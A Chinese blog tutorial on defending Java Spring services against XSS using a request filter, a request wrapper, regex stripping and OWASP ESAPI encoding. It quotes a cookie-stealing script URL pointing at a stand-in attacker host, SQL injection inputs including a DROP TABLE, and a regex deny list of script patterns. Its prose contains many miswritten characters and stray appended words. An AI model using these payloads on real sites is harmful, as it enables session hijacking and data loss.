如何有效预防XSS?这几招管用

原文连接javascript

预防XSS,这几招管用

最近重温了一下「黑客帝国」系列电影,一攻一防实属精彩,生活中咱们可能不多有机会触及那么深刻的网络安全问题,但工做中请别忽略你身边的精彩php

fire-and-water-2354583_1920.jpg

你们应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似不多有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击咱们的网站呢?”;另外一部分人多是工做职责所在,不多触碰这个话题。但愿你们看过这篇文章以后能将问题重视起来,并有本身的解决方案, 目前XSS攻击问题依旧很严峻:html

Cross-site scripting(XSS)是Web应用程序中常见的一种计算机安全漏洞,XSS 使攻击者可以将客户端脚本注入其余用户查看的网页中。 攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。 截至2007年,Symantec(赛门铁克) 在网站上执行的跨站脚本占据了全部安全漏洞的 84% 左右。2017年,XSS 仍被视为主要威胁载体,XSS 影响的范围从轻微的麻烦到重大的安全风险,影响范围的大小,取决于易受攻击的站点处理数据的敏感性方式以及站点全部者实施对数据处理的安全策略。前端

XSS 类型的划分以及其余概念性的东西在此就不作过多说明,Wikipedia Cross-site scripting 说明的很是清晰,本文主要经过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案java

XSS 案例

不喜欢看 XSS 案例的,请跳过此处,直接去看 解决方案 。Bob 和 Alice 两我的是常常用做案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条😆git

案例一

Alice 常常访问由 Bob 托管的特定网站, Bob 的网站容许 Alice 使用用户名/密码登录后,存储敏感数据,例如帐单信息。当用户登陆时,浏览器会保留一个受权 Cookie,它看起来像一些垃圾字符,这样两台计算机(客户端和服务器)都有一条她已登陆的记录。github

Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:web

  1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,而后单击“提交”按钮。
  2. 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为 http://bobssite.org/search?q=puppies 这是彻底正常的行为。
  3. 可是,当她提交异常搜索查询时,例如 <script type ='application / javascript'> alert('xss'); </ script>
    • 出现一个警告框(表示“xss”)。
    • 该页面显示“未找到”,以及带有文本“xss”的错误消息。
    • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script> , 这是一个可利用的行为

Mallory制做了一个利用此漏洞的URL:spring

  1. 她建立了URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。她选择使用百分比编码 encode ASCII字符,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,这样读者就没法当即破译这个恶意 URL
  2. 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”

Alice 到电子邮件, 她喜欢小狗并点击连接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”, 但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js(触发了 XSS攻击)sql

authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站同样。但该程序抓取 Alice 的受权 Cookie 副本并将其发送到 Mallory 的服务器

Mallory 如今将 Alice 的受权 Cookie 放入她的浏览器中,而后她去了 Bob 的网站,并以 Alice 身份登陆。

Mallory 假借 Alice 身份进入网站的帐单部分,查找 Alice 的信用卡号码并抓取副本。而后她去改变她的密码,这样事后爱丽丝甚至不能再登陆了。

Mallory 决定更进一步向 Bob 本人发送一个相似的连接,从而得到Bob的网站管理员权限。

案例二

当向用户询问输入时,一般会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无心中在数据库上运行该语句。 请查看如下示例,该示例经过向选择字符串添加变量(txtUserId)来建立SELECT语句。 该变量是从用户输入(getRequestString)获取的:

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
复制代码

当用户输入 userId = 105 OR 1=1,这时 SQL 会是这个样子:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;
复制代码

OR 条件始终为 true,这样就有可能获取所有用户信息 若是用户输入 userId = 105; DROP TABLE Suppliers ,这时 SQL 语句会是这样子

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
复制代码

这样 Suppliers 表就被不知情的状况下删除掉了

经过上面的例子能够看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各类意想不到的异常。“苍蝇不叮无缝的蛋”,咱们须要拿出解决方案,修复这个裂缝。但解决 XSS 问题须要多种方案的配合使用:

  1. 前端作表单数据合法性校验(这是第一层防御,虽然“防君子不防小人”,但必需要有)
  2. 后端作数据过滤与替换 (总有一些人会经过工具录入一些非法数据造访你的服务器的)
  3. 持久层数据编码规范,好比使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千万不要乱用 了解这些小细节 本文主要提供第 2 种方式的解决方案

解决方案

先不要向下看,思考一下,在整个 HTTP RESTful 请求过程当中,若是采用后端服务作请求数据的过滤与替换,你能想到哪些解决方案?

文末关注公众号,带你像读侦探小说同样趣味学习 Java 技术

Spring AOP

使用 Spring AOP 横切全部 API 入口,貌似能够很轻松的实现,But(英文听力重点😂),RESTful API 设计并非统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不一样的入参很难进行统一处理,因此这并非很好的方式,关于 RESTful 接口的设计,能够参考 如何设计好的 RESTful API?

HttpMessageConverter

请求的 JSON 数据都要过 HttpMessageConverter 进行转换,一般咱们能够经过添加 MappingJackson2HttpMessageConverter 并重写 readInternal 方法:

@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
    return super.readInternal(clazz, inputMessage);
}
复制代码

获取到转换事后的 Java 对象后对当前对象作处理,但这种方式没有办法处理 GET 请求,因此也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程能够查看 HttpMessageConverter是如何转换数据的?

Filter

Servlet Filter 不过多介绍,经过 Filter 能够过滤 HTTP Request,咱们能够拿到请求的全部信息,因此咱们能够在这里大作文章 咱们有两种方式自定义咱们的 Filter

  1. 实现 javax.servlet.Filter 接口
  2. Spring 环境下继承 org.springframework.web.filter.OncePerRequestFilter 抽象类 这里采用第二种方式:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
	@Override
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
		String userInput = request.getParameter("param");
		if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
			throw new RuntimeException();
		}
		String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
		if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
			throw new RuntimeException();
		}
		filterChain.doFilter(request, response);
	}
}
复制代码

而后注册 Filter

@Bean
public FilterRegistrationBean filterRegistrationBean() {
    FilterRegistrationBean registration = new FilterRegistrationBean();
    registration.setFilter(globalSecurityFilter());
    //URL 过滤 pattern 设置
    registration.addUrlPatterns(validatePath + "/*");
    registration.setOrder(5);
    return registration;
}

@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
    return new GlobalSecurityFilter();
}
复制代码

这种方案貌似能够很简单粗暴的解决,但会有如下几个问题:

  1. 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后致使流程不可达
  2. 调用 request.getInputStream()读取流,只能读取一次,调用责任链后续 filter 会致使 request.getInputStream() 内容为空,即使这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,能够查看 不得不知的责任链设计模式
  3. 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富 咱们须要经过 HttpServletRequestWrapper 完成流的屡次读取,当你看到这个名称 XXXWrapper,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 😄),先来看类图:
    Xnip2019-06-26_17-08-15.jpg

HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,咱们只需定义本身的 Wrapper,并重写里面的方法便可

@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {

    //将读取的流内容存储在 body 字符串中
	private final String body;

	//定义Pattern数组,用于正则匹配,可添加其余pattern规则至此
	private static Pattern[] patterns = new Pattern[]{
			// Script fragments
			Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
			// src='...'
			Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// lonely script tags
			Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
			Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// eval(...)
			Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// expression(...)
			Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
			// javascript:...
			Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
			// vbscript:...
			Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
			
			//在此添加其余 Pattern,更多 Pattern 内容,能够从文末 demo 处获取所有代码
	};


    /** *经过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中 */
	public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
		super(servletRequest);

		StringBuilder stringBuilder = new StringBuilder();
		BufferedReader bufferedReader = null;
		try {
			InputStream inputStream = servletRequest.getInputStream();
			if (inputStream != null) {
				bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
				char[] charBuffer = new char[128];
				int bytesRead = -1;
				while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
					stringBuilder.append(charBuffer, 0, bytesRead);
				}
			} else {
				stringBuilder.append("");
			}
		} catch (IOException ex) {
			throw ex;
		} finally {
			if (bufferedReader != null) {
				try {
					bufferedReader.close();
				} catch (IOException ex) {
					throw ex;
				}
			}
		}
		//将requestBody内容以字符串形式存储在变量body中
		body = stringBuilder.toString();
		log.info("过滤和替换前,requestBody 内容为: 【{}】", body);
	}

    /** * 将 body 字符串从新转换为ServletInputStream, 用于request.inputStream 读取流 * @return * @throws IOException */
	@Override
	public ServletInputStream getInputStream() throws IOException {
		String encodedBody = stripXSS(body);
		log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody);

		final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
		ServletInputStream servletInputStream = new ServletInputStream() {
			@Override
			public int read() throws IOException {
				return byteArrayInputStream.read();
			}

			@Override
			public boolean isFinished() {
				return byteArrayInputStream.available() == 0;
			}

			@Override
			public boolean isReady() {
				return true;
			}

			@Override
			public void setReadListener(ReadListener readListener) {

			}
		};
		return servletInputStream;
	}

	/** * 调用该方法,能够屡次获取 requestBody 内容 * @return */
	public String getBody() {
		return this.body;
	}
	
	@Override
	public BufferedReader getReader() throws IOException {
		return new BufferedReader(new InputStreamReader(this.getInputStream()));
	}

	/** * 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组 * @param parameter * @return */
	@Override
	public String[] getParameterValues(String parameter) {
		String[] values = super.getParameterValues(parameter);

		if (values == null) {
			return null;
		}

		int count = values.length;
		String[] encodedValues = new String[count];
		for (int i = 0; i < count; i++) {
			encodedValues[i] = stripXSS(values[i]);
		}

		return encodedValues;
	}

	/** * 获取单个请求参数 * @param parameter * @return */
	@Override
	public String getParameter(String parameter) {
		String value = super.getParameter(parameter);

		return stripXSS(value);
	}

	/** * 获取请求头信息 * @param name * @return */
	@Override
	public String getHeader(String name) {
		String value = super.getHeader(name);
		return stripXSS(value);
	}

	/** * 标准过滤和替换方法 * @param value * @return */
	private String stripXSS(String value){
		if (value != null) {
			// 使用 ESAPI 避免 encoded 的代码攻击
			value = ESAPI.encoder().canonicalize(value, false, false);
			value = patternReplace(value);
		}
		return value;
	}

    /** * 根据 Pattern 替换字符 */
    private String patternReplace(String value){
		if (StringUtils.isNotBlank(value)){
			// 避免null
			value = value.replaceAll("\0", "");

			// 根据Pattern匹配到的字符,作""替换
			for (Pattern scriptPattern : patterns){
				value = scriptPattern.matcher(value).replaceAll("");
			}
		}
		return value;
	}
	
}
复制代码

至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 从新放入到 FilterChain 中

GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
复制代码

上面全部方法都添加了注解,很容易理解,咱们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章 ESAPI引入方式 部份内容,来看代码:

ESAPI.encoder().canonicalize(value, false, false);
复制代码

这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但若是是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,致使后续解析出错. 为何会这样呢? ESAPI.encoder() 构造出默认的 DefaultEncoder, 查看该类发现:

/** * Instantiates a new DefaultEncoder */
private DefaultEncoder() {
	codecs.add( htmlCodec );
	codecs.add( percentCodec );
	codecs.add( javaScriptCodec );
}
复制代码

其中 javaScriptCodec 是按照 JavaScript 标准将 "" 替换成 "", 因此咱们须要作定制改变,继续查看 Encoder 接口,找到下面方法:

String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);
复制代码

经过查看该方法的注释咱们了解到,能够经过 DefaultEncoder 带参数构造器构造本身的 encoder:

List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
复制代码

因此咱们能够从新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中

/** * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec * @param value * @return */
private String stripXSSRequestBody(String value){
	if (value != null) {
		List codecs = new ArrayList(4);
		codecs.add( new HTMLEntityCodec() );
		codecs.add( new PercentCodec());
		DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
		// 使用 ESAPI 避免 encoded 的代码攻击
		value = defaultEncoder.canonicalize(value, false, false);
		value = patternReplace(value);
	}
	return value;
}
复制代码

解决了 RequestBody 的问题,咱们须要进一步解决防 SQL 注入查询的问题,咱们能够在重写的 getParameterValues 方法中使用以下方法:

/** * 防Sql注入,多用于带参数查询 * @param value * @return */
private String stripXSSSql(String value) {
	Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
	if (value != null) {
		// 使用 ESAPI 避免 encoded 的代码攻击
		value = ESAPI.encoder().canonicalize(value, false, false);

		value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
	}
	return value;
}
复制代码

ESAPI.encoder()还有不少定制化的过滤,请小伙伴动手自行发现和定制,这里再也不作过多的解释 问题还没解决完,涉及到文件上传的业务,能够经过其余方式作文件魔术数字校验,文件后缀校验,文件大小校验等方式,不必在这个地方校验 XSS 内容,因此咱们须要再对 Filter 作出一些改变,不处理 contentType 为 multipart/form-data 的请求

String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
	filterChain.doFilter(request, response);
}else {
	GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
	filterChain.doFilter(xssHttpServletRequestWrapper, response);
}
复制代码

固然这种方式还有进一步的改善空间,好比添加白名单(YAML配置的方式)等,具体业务还须要具体分析,不过读到这里,相信你们的思路已经打开,能够进行自我创做了.

ESAPI引入方式

ESAPI(Enterprise Security API)是一个免费开源的Web应用程序API,目的帮助开发者开发出更加安全的代码, 更多介绍请查看 OWASPESAPI github 使用 ESAPI,咱们要引入相应的 jar 包

gradle 方式

compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'
复制代码

maven 方式

<dependency>
    <groupId>org.owasp.esapi</groupId>
    <artifactId>esapi</artifactId>
    <version>2.0.1</version>
</dependency>
复制代码

resources 根目录下添加 ESAPI.properties 文件和 validation.properties 两个文件,至此咱们就可使用 ESAPI 帮助咱们解决 XSS 问题了,文件内容能够经过下载 ESAPI source 获取,也能够从 Demo 下载地址中获取

灵魂追问

  1. 你了解 Java 装饰器设计模式吗?能想起来框架的哪些地方用到了该设计模式?
  2. 为何单纯校验文件的后缀是不安全的校验方式?
  3. 你看过「黑客帝国」吗? (该问题纯属搞笑)

那些能够提升效率的工具

关注公众号了解更多能够提升工做效率的工具,同时带你像看侦探小说同样趣味学习 Java 技术

Key Promoter X

Key Promoter X 是 IntelliJ IDEA 的一个学习快捷键的工具,当你用鼠标在 IDE 中点击某些功能,Key Promoter X 会在 IDE 右下角提示你应该用哪一种快捷键代替,若是当前操纵没有设置相应快捷键,你也能够经过它快速设置,提升操做效率

screenshot_17105.gif


a (1).png

Demo 代码获取

文末关注公众号「日拱一兵」,回复 「demo」获取 Demo 代码

相关文章
相关标签/搜索